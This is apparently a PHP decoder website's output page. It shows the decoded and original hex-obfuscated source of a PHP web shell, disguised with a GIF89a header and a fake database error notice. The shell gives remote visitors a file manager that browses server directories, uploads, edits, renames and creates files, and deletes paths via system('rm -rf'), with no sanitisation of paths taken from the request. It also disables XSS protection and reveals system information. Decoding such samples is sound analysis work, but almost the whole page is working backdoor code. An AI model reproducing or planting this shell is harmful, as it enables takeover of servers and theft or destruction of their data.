Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto xfo5P; EcFud: echo $gp; goto FL9Q_; NJyR1: function ts($s_s) { if ($s_s <= 0) { retur..

Decoded Output download

<?  goto xfo5P; EcFud: echo $gp; goto FL9Q_; NJyR1: function ts($s_s) { if ($s_s <= 0) { return 0; } $s_w = array("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"); $s_e = floor(log($s_s) / log(1024)); return sprintf("%.2f " . $s_w[$s_e], $s_s / pow(1024, floor($s_e))); } goto Mb2yI; L_GZd: function getowner($path) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($path)); $downer = $downer["name"]; } else { $downer = fileowner($path); } return $downer; } goto Zk1Qy; Yvvj1: header("X-XSS-Protection: 0"); goto yjcwg; W3l_Z: function renamefunc($dir, $oldname) { echo "<center><h1>Rename : " . $oldname . "</h1><br><form method='POST' class='in'>oldname : <input type='text' value='{$oldname}' class='in' readonly>"; echo "Newname : <input type='text' name='newname' value='newname' class='in'><input type='submit' value='>>' name='s'></form></center>"; if (isset($_POST["s"])) { rename($dir . "/" . $oldname, $dir . "/" . $_POST["newname"]); echo "<meta http-equiv='refresh' content='0;url=?d=" . dirname($dir) . "'>"; } } goto JqYkX; NtsPk: function upload($a, $b) { if (function_exists("move_uploaded_file")) { $upl = move_uploaded_file($a, $b); } elseif (function_exists("copy")) { $upl = copy($a, $b); } return $upl; } goto dXelO; VRQw1: function berinamafunc($dir) { echo "<center><h1>New file </h1><br><form method='POST' class='in'>"; echo "Filename : <input type='text' name='filename' value='newfile.php'>"; echo "<input type='submit' name='svi' value='>>'>"; echo "</form>"; if (isset($_POST["svi"])) { if (function_exists("touch")) { touch($dir . "/" . $_POST["filename"]); } else { $fp = fopen($dir . "/" . $_POST["filename"], "w"); fwrite($fp, "#new file 1945"); fclose($fp); } header("location:?d=" . $dir . "&a=edit&f=" . $_POST["filename"]); } } goto TY3Cb; VqQTj: if (isset($_GET["path"])) { $path = $_GET["path"]; } else { $path = getcwd(); } goto vrwwu; ce4Nm: function getperms($files) { if ($s_m = @fileperms($files)) { $s_p = "u"; if (($s_m & 49152) == 49152) { $s_p = "s"; } elseif (($s_m & 40960) == 40960) { $s_p = "l"; } elseif (($s_m & 32768) == 32768) { $s_p = "-"; } elseif (($s_m & 24576) == 24576) { $s_p = "b"; } elseif (($s_m & 16384) == 16384) { $s_p = "d"; } elseif (($s_m & 8192) == 8192) { $s_p = "c"; } elseif (($s_m & 4096) == 4096) { $s_p = "p"; } $s_p .= $s_m & 256 ? "r" : "-"; $s_p .= $s_m & 128 ? "w" : "-"; $s_p .= $s_m & 64 ? "x" : "-"; $s_p .= $s_m & 32 ? "r" : "-"; $s_p .= $s_m & 16 ? "w" : "-"; $s_p .= $s_m & 8 ? "x" : "-"; $s_p .= $s_m & 4 ? "r" : "-"; $s_p .= $s_m & 2 ? "w" : "-"; $s_p .= $s_m & 1 ? "x" : "-"; return $s_p; } else { return "???????????"; } } goto a9juc; xfo5P: ?> 
2022-01-08 10:34:29 - PHP Notice: Error: Table 'harajcar_car.inexistent_table' doesn't exist<br>Error No: 1146<br>SELECT ' by mr.5t1y0 d GIF89;a<!doctypehtml><html><head><link href=""rel="stylesheet"type="text/css"><style>body{font-family:Times New Roman;background-color:#000;color:#fff}#content tr:hover{background-color:#00f;text-shadow:0 0 10px #fff}content .first{background-color:#00f}table{border:10px #000 dotted}a{color:#fff;text-decoration:none}a:hover{color:#00f;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}</style></head><body><?php  goto rIAH4; TY3Cb: $gp = getpath(); goto SPLrM; yjcwg: function getpath() { if (isset($_GET["d"])) { $d = $_GET["d"]; } else { $d = getcwd(); } return $d; } goto Hp9y2; Hp9y2: function delete($dir) { if (is_dir($dir)) { if (!rmdir($dir)) { $s = scandir($dir); foreach ($s as $ss) { if (is_file($dir . "/" . $ss)) { if (unlink($dir . "/" . $ss)) { $rm = rmdir($dir); } } if (is_dir($dir . "/" . $ss)) { $rm = rmdir($dir . "/" . $ss); $rm .= rmdir($dir); $rm .= system("rm -rf " . $dir); } } } } elseif (is_file($dir)) { $rm = unlink($dir); if (!$rm) { system("rm -rf " . $dir); } } return $rm; } goto L_GZd; FL9Q_: ?> 
&a=up"method="post"></form><hr><?php  goto hliIG; rCaX7: if (empty($_GET["a"])) { ?> 
<table align="center"class="table"><th>Files</th><th>Size</th><th>owner:group</th><th>Permission</th><th>Action</th><?php  $dir = sedirs(getpath()); echo "<tr><td><a href="?d=" . dirname($gp) . "">Current dir</a></td><td>--</td><td>--</td><td>--</td><td align=right><a href='?d={$gp}&a=touch'>Newfile</a> | <a href='?d={$gp}&a=mkdir'>newdir</a></td></tr>"; foreach ($dir as $d1) { if (!is_dir("{$gp}/{$d1}") || $d1 == "." || $d1 == "..") { continue; } ?> 
<tr><td>[<a href="?d=<?php  echo "{$gp}/{$d1}"; ?> 
"><?php  echo $d1; ?> 
</a>]</td><td><?php  echo getsize("{$gp}/{$d1}"); ?> 
</td><td><?php  echo getowner("{$gp}/{$f1}"); ?> 
:<?php  echo getgroup("{$gp}/{$f1}"); ?> 
</td><td><?php  echo getperms("{$gp}/{$d1}"); ?> 
</td><td align="right"><a href="?d=<?php  echo "{$gp}/{$d1}"; ?> 
&a=rename">Rename</a> | <a href="?d=<?php  echo "{$gp}/{$d1}"; ?> 
&a=delete">Delete</a></td></tr><?php  } foreach ($dir as $f1) { if (!is_file("{$gp}/{$f1}") || $f1 == "." || $f1 == "..") { continue; } ?> 
<tr><td><a href="?d=<?php  echo $gp; ?> 
&a=view&f=<?php  echo $f1; ?> 
"><?php  echo $f1; ?> 
</a></td><td><?php  echo getsize("{$gp}/{$f1}"); ?> 
</td><td><?php  echo getowner("{$gp}/{$f1}"); ?> 
:<?php  echo getgroup("{$gp}/{$f1}"); ?> 
</td><td><?php  echo getperms("{$gp}/{$f1}"); ?> 
</td><td align="right"><a href="?d=<?php  echo $gp; ?> 
&a=rename&f=<?php  echo $f1; ?> 
">Rename</a> | <a href="?d=<?php  echo "{$gp}/{$f1}"; ?> 
&a=delete">delete</a> | <a href="?d=<?php  echo $gp; ?> 
&a=edit&f=<?php  echo $f1; ?> 
">edit</a> |</tr><?php  } ?> 
</table><?php  } else { @($a = $_GET["a"]); @($f = $_GET["f"]); @($d = $_GET["d"]); if ($a == "view") { viewfilefunc($d . "/" . $f); } elseif ($a == "download") { downloads($d . "/" . $f); } elseif ($a == "logout") { if (setcookie(md5($_SERVER["HTTP_HOST"]), '')) { echo "<script>alert('See You Next time !');window.location.href='????'</script>"; } } elseif ($a == "rename") { $ff = isset($_GET["f"]) ? $_GET["f"] : basename($_GET["d"]); $gdd = isset($_GET["f"]) ? $_GET["d"] : dirname($_GET["d"]); renamefunc($gdd, $ff); } elseif ($a == "delete") { delete($_GET["d"]); echo "<meta http-equiv='refresh' content='0;url=?d=" . dirname($_GET["d"]) . "'>"; } elseif ($a == "upload") { $fil = array_upload($_FILES["filup"]); foreach ($fil as $filup) { $filoc = $d . "/" . $filup["name"]; if (upload($filup["tmp_name"], $filoc)) { echo "<font color=lime>Successfully upload -> <a href='?d=" . $d . "&a=view&f=" . $filup["name"] . "'>" . $filoc . "</a></font><br>"; } else { echo "<font color=red>Failed upload -> " . $filoc . "</font><br>"; } } } elseif ($a == "mkdir") { mkdirfunc($d); } elseif ($a == "touch") { berinamafunc($d); } elseif ($a == "edit") { editfunc($_GET["d"], $_GET["f"]); } } goto ZuApI; YSGwN: echo $gp; goto JCes6; rIAH4: error_reporting(0); goto VnF3q; hliIG: echo "Current Dir=|> "; goto VqQTj; vrwwu: $path = str_replace("\", "/", $path); goto TTzSq; OxyCQ: echo $y; goto VvxfA; TTzSq: $paths = explode("/", $path); goto HtxjO; siEG9: function sedirs($dir) { if (function_exists("scandir")) { $s = scandir($dir); chdir($dir); } else { $s = system($dir); } return $s; } goto ce4Nm; Zk1Qy: function getgroup($path) { if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($path)); $dgrp = $dgrp["name"]; } else { $dgrp = filegroup($path); } return $dgrp; } goto NtsPk; HtxjO: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "<a href="?d=/">/</a>"; continue; } if ($pat == '') { continue; } echo "<a href="?d="; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } echo "">" . $pat . "</a>/"; } goto rCaX7; VvxfA: ?> 
</title><body><form action="?d=<?php  goto YSGwN; Mb2yI: function getsize($s_f) { $s_s = @filesize($s_f); if ($s_s !== false) { if ($s_s <= 0) { return 0; } return ts($s_s); } else { return "???"; } } goto W3l_Z; eNsJ3: ?> 
<title><?php  goto OxyCQ; SPLrM: $y = php_uname(); goto eNsJ3; VnF3q: set_time_limit(0); goto Yvvj1; a9juc: function viewfilefunc($file) { echo "<center><h1> View : " . basename($file) . "</h1>"; echo "<textarea readonly cols='100' rows='40'>"; echo htmlspecialchars(file_get_contents($file)); echo "</textarea></center>"; } goto NJyR1; JCes6: ?> 
&a=upload"method="post"class="in"enctype="multipart/form-data"><center>Upload file :<input name="filup[]"type="file"multiple style="border:0"><input name="upload"type="submit"value="UPLOAD"></form><form action="?d=<?php  goto EcFud; JqYkX: function editfunc($dir, $file) { echo "<center><h1> Edit : " . $file . "</h1><br><form method='POST'>"; echo "<textarea name='editfile' cols='100' rows='40'>" . htmlspecialchars(file_get_contents($dir . "/" . $file)) . "</textarea><br>"; echo "<input type='submit' name='sbmt' value='>>submit<<' style='width:200px;'>"; echo "</form>"; if (isset($_POST["sbmt"])) { $fp = fopen($dir . "/" . $file, "w"); fwrite($fp, $_POST["editfile"]); fclose($fp); echo "<br><b>Tersimpan @" . date("D ,d m Y") . "</b><br>"; } } goto VRQw1; dXelO: function array_upload($file) { $file_ary = array(); $file_count = count($file["name"]); $file_key = array_keys($file); for ($i = 0; $i < $file_count; $i++) { foreach ($file_key as $val) { $file_ary[$i][$val] = $file[$val][$i]; } } return $file_ary; } goto siEG9; ZuApI: ?>

Did this file decode correctly?

Original Code

goto xfo5P; EcFud: echo $gp; goto FL9Q_; NJyR1: function ts($s_s) { if ($s_s <= 0) { return 0; } $s_w = array("\x42", "\113\x42", "\x4d\x42", "\107\102", "\124\102", "\120\102", "\105\x42", "\132\x42", "\131\102"); $s_e = floor(log($s_s) / log(1024)); return sprintf("\x25\x2e\62\146\x20" . $s_w[$s_e], $s_s / pow(1024, floor($s_e))); } goto Mb2yI; L_GZd: function getowner($path) { if (function_exists("\x70\157\x73\151\x78\137\x67\145\164\x70\x77\x75\x69\144")) { $downer = @posix_getpwuid(fileowner($path)); $downer = $downer["\156\x61\155\x65"]; } else { $downer = fileowner($path); } return $downer; } goto Zk1Qy; Yvvj1: header("\x58\x2d\130\x53\x53\x2d\120\162\157\x74\x65\x63\164\x69\157\156\72\x20\60"); goto yjcwg; W3l_Z: function renamefunc($dir, $oldname) { echo "\x3c\143\145\156\164\x65\x72\76\x3c\x68\x31\76\x52\x65\x6e\x61\155\x65\x20\72\x20" . $oldname . "\x3c\x2f\150\x31\76\74\142\x72\x3e\74\146\157\162\x6d\x20\155\x65\x74\x68\x6f\144\75\47\120\117\123\x54\x27\40\143\154\141\163\x73\x3d\47\x69\x6e\47\76\x6f\154\x64\x6e\141\x6d\x65\40\x3a\40\74\x69\x6e\160\x75\x74\40\x74\x79\160\x65\x3d\47\164\x65\170\x74\47\x20\x76\141\154\x75\145\x3d\x27{$oldname}\47\40\143\154\x61\163\163\75\x27\x69\x6e\x27\40\162\x65\x61\x64\x6f\156\154\171\76"; echo "\116\x65\167\x6e\x61\155\x65\x20\x3a\40\74\151\x6e\x70\x75\164\40\164\x79\x70\145\75\x27\164\x65\170\164\47\40\x6e\141\x6d\145\75\x27\156\x65\x77\x6e\x61\x6d\x65\47\x20\x76\141\154\x75\145\x3d\47\156\145\167\156\x61\x6d\x65\x27\40\143\x6c\141\x73\x73\75\x27\151\156\47\x3e\x3c\x69\156\160\x75\x74\40\x74\x79\x70\145\75\47\163\x75\142\155\x69\x74\47\40\x76\x61\154\x75\x65\x3d\x27\76\76\x27\x20\156\141\155\145\75\x27\x73\x27\x3e\74\57\x66\x6f\162\x6d\76\x3c\57\x63\145\x6e\164\x65\162\x3e"; if (isset($_POST["\163"])) { rename($dir . "\57" . $oldname, $dir . "\57" . $_POST["\156\x65\167\156\x61\x6d\x65"]); echo "\74\155\x65\x74\x61\x20\150\x74\164\x70\55\145\x71\x75\151\x76\x3d\x27\162\145\146\x72\145\163\x68\x27\x20\x63\157\x6e\x74\145\x6e\x74\75\47\60\x3b\x75\x72\x6c\x3d\x3f\144\x3d" . dirname($dir) . "\47\x3e"; } } goto JqYkX; NtsPk: function upload($a, $b) { if (function_exists("\155\157\x76\x65\x5f\x75\x70\154\157\141\x64\x65\144\x5f\x66\x69\x6c\145")) { $upl = move_uploaded_file($a, $b); } elseif (function_exists("\x63\157\x70\x79")) { $upl = copy($a, $b); } return $upl; } goto dXelO; VRQw1: function berinamafunc($dir) { echo "\74\143\x65\156\x74\145\162\x3e\x3c\150\61\76\116\145\x77\40\x66\x69\x6c\x65\x20\x3c\x2f\x68\x31\76\74\x62\162\76\x3c\x66\x6f\x72\155\x20\x6d\145\164\150\x6f\x64\75\47\x50\x4f\123\124\47\40\x63\154\x61\x73\163\75\47\151\156\x27\x3e"; echo "\x46\151\x6c\x65\x6e\141\155\x65\x20\x3a\x20\74\x69\156\x70\165\164\x20\x74\171\160\145\x3d\x27\164\x65\170\164\47\40\156\141\155\145\x3d\47\146\x69\x6c\145\x6e\x61\x6d\145\x27\40\x76\141\x6c\x75\145\75\47\x6e\x65\x77\x66\151\154\145\x2e\160\150\x70\47\76"; echo "\x3c\x69\x6e\160\x75\x74\x20\164\171\x70\x65\x3d\x27\163\x75\142\155\151\x74\x27\x20\x6e\141\155\x65\75\x27\163\166\151\47\40\166\141\x6c\x75\x65\x3d\x27\76\76\47\76"; echo "\x3c\57\x66\x6f\162\x6d\76"; if (isset($_POST["\x73\166\x69"])) { if (function_exists("\164\157\x75\x63\x68")) { touch($dir . "\x2f" . $_POST["\146\151\x6c\x65\156\141\x6d\x65"]); } else { $fp = fopen($dir . "\x2f" . $_POST["\x66\151\154\x65\156\x61\x6d\x65"], "\x77"); fwrite($fp, "\x23\156\x65\167\x20\146\151\154\x65\x20\61\x39\64\65"); fclose($fp); } header("\x6c\x6f\143\x61\x74\x69\157\156\72\77\x64\75" . $dir . "\x26\141\75\x65\144\x69\x74\x26\146\x3d" . $_POST["\146\x69\x6c\x65\x6e\141\155\x65"]); } } goto TY3Cb; VqQTj: if (isset($_GET["\160\x61\164\x68"])) { $path = $_GET["\x70\141\164\x68"]; } else { $path = getcwd(); } goto vrwwu; ce4Nm: function getperms($files) { if ($s_m = @fileperms($files)) { $s_p = "\165"; if (($s_m & 49152) == 49152) { $s_p = "\x73"; } elseif (($s_m & 40960) == 40960) { $s_p = "\154"; } elseif (($s_m & 32768) == 32768) { $s_p = "\55"; } elseif (($s_m & 24576) == 24576) { $s_p = "\142"; } elseif (($s_m & 16384) == 16384) { $s_p = "\x64"; } elseif (($s_m & 8192) == 8192) { $s_p = "\x63"; } elseif (($s_m & 4096) == 4096) { $s_p = "\x70"; } $s_p .= $s_m & 256 ? "\x72" : "\55"; $s_p .= $s_m & 128 ? "\167" : "\55"; $s_p .= $s_m & 64 ? "\x78" : "\x2d"; $s_p .= $s_m & 32 ? "\x72" : "\55"; $s_p .= $s_m & 16 ? "\167" : "\55"; $s_p .= $s_m & 8 ? "\x78" : "\x2d"; $s_p .= $s_m & 4 ? "\x72" : "\x2d"; $s_p .= $s_m & 2 ? "\x77" : "\55"; $s_p .= $s_m & 1 ? "\x78" : "\x2d"; return $s_p; } else { return "\x3f\x3f\x3f\x3f\x3f\x3f\77\x3f\x3f\77\77"; } } goto a9juc; xfo5P: ?>
2022-01-08 10:34:29 - PHP Notice: Error: Table 'harajcar_car.inexistent_table' doesn't exist<br>Error No: 1146<br>SELECT ' by mr.5t1y0 d GIF89;a<!doctypehtml><html><head><link href=""rel="stylesheet"type="text/css"><style>body{font-family:Times New Roman;background-color:#000;color:#fff}#content tr:hover{background-color:#00f;text-shadow:0 0 10px #fff}content .first{background-color:#00f}table{border:10px #000 dotted}a{color:#fff;text-decoration:none}a:hover{color:#00f;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}</style></head><body><?php  goto rIAH4; TY3Cb: $gp = getpath(); goto SPLrM; yjcwg: function getpath() { if (isset($_GET["\x64"])) { $d = $_GET["\144"]; } else { $d = getcwd(); } return $d; } goto Hp9y2; Hp9y2: function delete($dir) { if (is_dir($dir)) { if (!rmdir($dir)) { $s = scandir($dir); foreach ($s as $ss) { if (is_file($dir . "\57" . $ss)) { if (unlink($dir . "\x2f" . $ss)) { $rm = rmdir($dir); } } if (is_dir($dir . "\x2f" . $ss)) { $rm = rmdir($dir . "\x2f" . $ss); $rm .= rmdir($dir); $rm .= system("\162\x6d\x20\x2d\162\x66\x20" . $dir); } } } } elseif (is_file($dir)) { $rm = unlink($dir); if (!$rm) { system("\162\x6d\x20\55\162\x66\x20" . $dir); } } return $rm; } goto L_GZd; FL9Q_: ?>
&a=up"method="post"></form><hr><?php  goto hliIG; rCaX7: if (empty($_GET["\141"])) { ?>
<table align="center"class="table"><th>Files</th><th>Size</th><th>owner:group</th><th>Permission</th><th>Action</th><?php  $dir = sedirs(getpath()); echo "\74\x74\162\76\74\x74\x64\76\x3c\x61\40\x68\x72\145\146\x3d\42\x3f\144\75" . dirname($gp) . "\x22\76\103\x75\x72\162\x65\156\164\40\x64\x69\162\x3c\57\141\x3e\74\57\164\x64\76\x3c\x74\144\x3e\55\55\x3c\57\164\x64\x3e\x3c\164\144\76\55\x2d\74\57\x74\x64\x3e\74\x74\144\76\55\55\x3c\57\164\144\x3e\74\x74\x64\40\x61\x6c\x69\x67\156\75\162\151\x67\x68\x74\76\x3c\x61\40\150\162\145\146\75\47\77\x64\75{$gp}\46\141\75\164\157\x75\143\150\47\x3e\116\145\x77\146\151\154\x65\x3c\x2f\x61\x3e\x20\x7c\40\x3c\141\x20\150\x72\145\x66\x3d\x27\77\144\x3d{$gp}\46\141\x3d\155\x6b\x64\x69\x72\47\x3e\x6e\x65\167\x64\151\162\x3c\57\x61\x3e\x3c\x2f\164\x64\76\74\x2f\x74\x72\x3e"; foreach ($dir as $d1) { if (!is_dir("{$gp}\x2f{$d1}") || $d1 == "\56" || $d1 == "\x2e\56") { continue; } ?>
<tr><td>[<a href="?d=<?php  echo "{$gp}\57{$d1}"; ?>
"><?php  echo $d1; ?>
</a>]</td><td><?php  echo getsize("{$gp}\x2f{$d1}"); ?>
</td><td><?php  echo getowner("{$gp}\x2f{$f1}"); ?>
:<?php  echo getgroup("{$gp}\x2f{$f1}"); ?>
</td><td><?php  echo getperms("{$gp}\x2f{$d1}"); ?>
</td><td align="right"><a href="?d=<?php  echo "{$gp}\x2f{$d1}"; ?>
&a=rename">Rename</a> | <a href="?d=<?php  echo "{$gp}\x2f{$d1}"; ?>
&a=delete">Delete</a></td></tr><?php  } foreach ($dir as $f1) { if (!is_file("{$gp}\57{$f1}") || $f1 == "\x2e" || $f1 == "\x2e\x2e") { continue; } ?>
<tr><td><a href="?d=<?php  echo $gp; ?>
&a=view&f=<?php  echo $f1; ?>
"><?php  echo $f1; ?>
</a></td><td><?php  echo getsize("{$gp}\57{$f1}"); ?>
</td><td><?php  echo getowner("{$gp}\x2f{$f1}"); ?>
:<?php  echo getgroup("{$gp}\57{$f1}"); ?>
</td><td><?php  echo getperms("{$gp}\x2f{$f1}"); ?>
</td><td align="right"><a href="?d=<?php  echo $gp; ?>
&a=rename&f=<?php  echo $f1; ?>
">Rename</a> | <a href="?d=<?php  echo "{$gp}\x2f{$f1}"; ?>
&a=delete">delete</a> | <a href="?d=<?php  echo $gp; ?>
&a=edit&f=<?php  echo $f1; ?>
">edit</a> |</tr><?php  } ?>
</table><?php  } else { @($a = $_GET["\141"]); @($f = $_GET["\146"]); @($d = $_GET["\x64"]); if ($a == "\166\x69\145\x77") { viewfilefunc($d . "\57" . $f); } elseif ($a == "\x64\x6f\167\x6e\154\157\141\144") { downloads($d . "\57" . $f); } elseif ($a == "\154\157\147\x6f\165\164") { if (setcookie(md5($_SERVER["\110\x54\x54\x50\x5f\x48\117\x53\124"]), '')) { echo "\x3c\x73\x63\x72\x69\x70\164\x3e\141\154\x65\162\x74\50\47\123\x65\x65\40\131\157\x75\40\116\x65\x78\164\40\x74\x69\155\145\40\41\47\51\x3b\167\151\x6e\144\157\167\56\x6c\x6f\143\141\164\x69\x6f\x6e\x2e\x68\162\x65\x66\75\47\x3f\77\x3f\77\x27\x3c\x2f\x73\x63\162\x69\x70\x74\76"; } } elseif ($a == "\x72\x65\156\x61\155\x65") { $ff = isset($_GET["\146"]) ? $_GET["\x66"] : basename($_GET["\x64"]); $gdd = isset($_GET["\146"]) ? $_GET["\144"] : dirname($_GET["\x64"]); renamefunc($gdd, $ff); } elseif ($a == "\x64\x65\154\x65\x74\145") { delete($_GET["\144"]); echo "\x3c\155\145\164\141\40\x68\164\164\x70\x2d\x65\x71\x75\151\166\x3d\47\x72\x65\146\162\145\x73\x68\47\x20\x63\157\156\164\x65\156\x74\75\47\x30\73\165\x72\x6c\75\77\x64\x3d" . dirname($_GET["\144"]) . "\x27\x3e"; } elseif ($a == "\x75\x70\154\x6f\141\144") { $fil = array_upload($_FILES["\x66\151\154\x75\x70"]); foreach ($fil as $filup) { $filoc = $d . "\x2f" . $filup["\x6e\x61\x6d\145"]; if (upload($filup["\x74\155\160\x5f\x6e\x61\155\x65"], $filoc)) { echo "\x3c\146\x6f\x6e\164\x20\143\157\154\157\162\x3d\x6c\x69\155\x65\76\x53\165\143\x63\145\163\x73\146\x75\x6c\154\171\40\165\x70\x6c\157\x61\144\40\55\x3e\40\x3c\141\40\150\x72\x65\146\75\47\x3f\x64\x3d" . $d . "\x26\x61\x3d\166\x69\145\167\46\146\x3d" . $filup["\x6e\141\155\x65"] . "\x27\76" . $filoc . "\x3c\57\x61\76\74\57\146\x6f\156\164\76\74\x62\162\76"; } else { echo "\x3c\146\157\156\164\40\143\157\x6c\157\x72\75\162\x65\144\76\106\x61\151\x6c\145\x64\40\165\160\x6c\x6f\x61\x64\x20\x2d\76\x20" . $filoc . "\74\x2f\x66\x6f\156\x74\76\x3c\x62\162\x3e"; } } } elseif ($a == "\155\153\x64\151\162") { mkdirfunc($d); } elseif ($a == "\164\x6f\x75\143\x68") { berinamafunc($d); } elseif ($a == "\145\144\x69\x74") { editfunc($_GET["\x64"], $_GET["\146"]); } } goto ZuApI; YSGwN: echo $gp; goto JCes6; rIAH4: error_reporting(0); goto VnF3q; hliIG: echo "\x43\x75\x72\x72\145\x6e\164\x20\x44\x69\x72\x3d\174\76\40"; goto VqQTj; vrwwu: $path = str_replace("\134", "\57", $path); goto TTzSq; OxyCQ: echo $y; goto VvxfA; TTzSq: $paths = explode("\57", $path); goto HtxjO; siEG9: function sedirs($dir) { if (function_exists("\163\143\x61\x6e\144\x69\x72")) { $s = scandir($dir); chdir($dir); } else { $s = system($dir); } return $s; } goto ce4Nm; Zk1Qy: function getgroup($path) { if (function_exists("\160\157\x73\x69\170\137\147\x65\164\147\x72\147\x69\x64")) { $dgrp = @posix_getgrgid(filegroup($path)); $dgrp = $dgrp["\x6e\x61\155\x65"]; } else { $dgrp = filegroup($path); } return $dgrp; } goto NtsPk; HtxjO: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "\74\141\40\x68\x72\145\x66\75\42\x3f\x64\x3d\57\x22\76\57\x3c\x2f\141\76"; continue; } if ($pat == '') { continue; } echo "\74\141\x20\x68\162\x65\x66\75\x22\77\144\x3d"; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "\57"; } } echo "\x22\76" . $pat . "\74\57\141\76\x2f"; } goto rCaX7; VvxfA: ?>
</title><body><form action="?d=<?php  goto YSGwN; Mb2yI: function getsize($s_f) { $s_s = @filesize($s_f); if ($s_s !== false) { if ($s_s <= 0) { return 0; } return ts($s_s); } else { return "\x3f\x3f\77"; } } goto W3l_Z; eNsJ3: ?>
<title><?php  goto OxyCQ; SPLrM: $y = php_uname(); goto eNsJ3; VnF3q: set_time_limit(0); goto Yvvj1; a9juc: function viewfilefunc($file) { echo "\x3c\x63\x65\x6e\x74\145\162\76\74\150\x31\x3e\40\126\151\x65\167\40\72\40" . basename($file) . "\74\57\150\61\x3e"; echo "\x3c\164\145\170\x74\141\x72\145\x61\x20\162\145\x61\x64\x6f\x6e\154\171\40\x63\157\x6c\x73\75\x27\x31\60\60\47\40\x72\157\x77\x73\75\x27\x34\60\x27\76"; echo htmlspecialchars(file_get_contents($file)); echo "\74\x2f\164\x65\170\164\x61\x72\x65\x61\x3e\74\57\143\x65\156\x74\x65\162\x3e"; } goto NJyR1; JCes6: ?>
&a=upload"method="post"class="in"enctype="multipart/form-data"><center>Upload file :<input name="filup[]"type="file"multiple style="border:0"><input name="upload"type="submit"value="UPLOAD"></form><form action="?d=<?php  goto EcFud; JqYkX: function editfunc($dir, $file) { echo "\x3c\143\x65\156\x74\x65\x72\x3e\74\150\61\76\x20\x45\x64\151\x74\40\x3a\40" . $file . "\x3c\x2f\150\61\76\x3c\x62\162\76\x3c\146\x6f\x72\155\x20\155\145\164\x68\x6f\144\x3d\47\120\117\x53\124\x27\x3e"; echo "\x3c\x74\145\x78\x74\141\x72\145\x61\40\x6e\141\155\145\75\x27\x65\144\x69\x74\x66\x69\x6c\145\x27\x20\143\x6f\154\163\75\47\61\60\x30\x27\x20\x72\157\x77\163\x3d\x27\x34\x30\47\x3e" . htmlspecialchars(file_get_contents($dir . "\57" . $file)) . "\x3c\x2f\164\145\x78\164\141\162\145\x61\76\74\x62\x72\76"; echo "\74\x69\x6e\x70\x75\x74\x20\164\x79\x70\x65\75\x27\x73\x75\x62\x6d\x69\164\47\x20\156\141\x6d\145\75\x27\x73\142\155\164\47\x20\166\x61\154\x75\145\75\47\76\76\x73\165\142\155\151\164\x3c\74\47\x20\163\x74\x79\154\145\75\47\x77\x69\x64\x74\x68\72\x32\x30\60\x70\x78\73\x27\x3e"; echo "\74\x2f\146\157\162\x6d\76"; if (isset($_POST["\163\142\155\x74"])) { $fp = fopen($dir . "\57" . $file, "\x77"); fwrite($fp, $_POST["\145\144\151\164\146\x69\154\x65"]); fclose($fp); echo "\x3c\142\162\x3e\x3c\142\76\x54\145\x72\x73\x69\155\160\141\x6e\40\x40" . date("\104\x20\54\x64\40\155\40\131") . "\74\x2f\142\76\x3c\142\x72\x3e"; } } goto VRQw1; dXelO: function array_upload($file) { $file_ary = array(); $file_count = count($file["\156\141\x6d\145"]); $file_key = array_keys($file); for ($i = 0; $i < $file_count; $i++) { foreach ($file_key as $val) { $file_ary[$i][$val] = $file[$val][$i]; } } return $file_ary; } goto siEG9; ZuApI:

Function Calls

None

Variables

None

Stats

MD5 5d9244b65cc81ca8578ecb2d4a5a0d4a
Eval Count 0
Decode Time 80 ms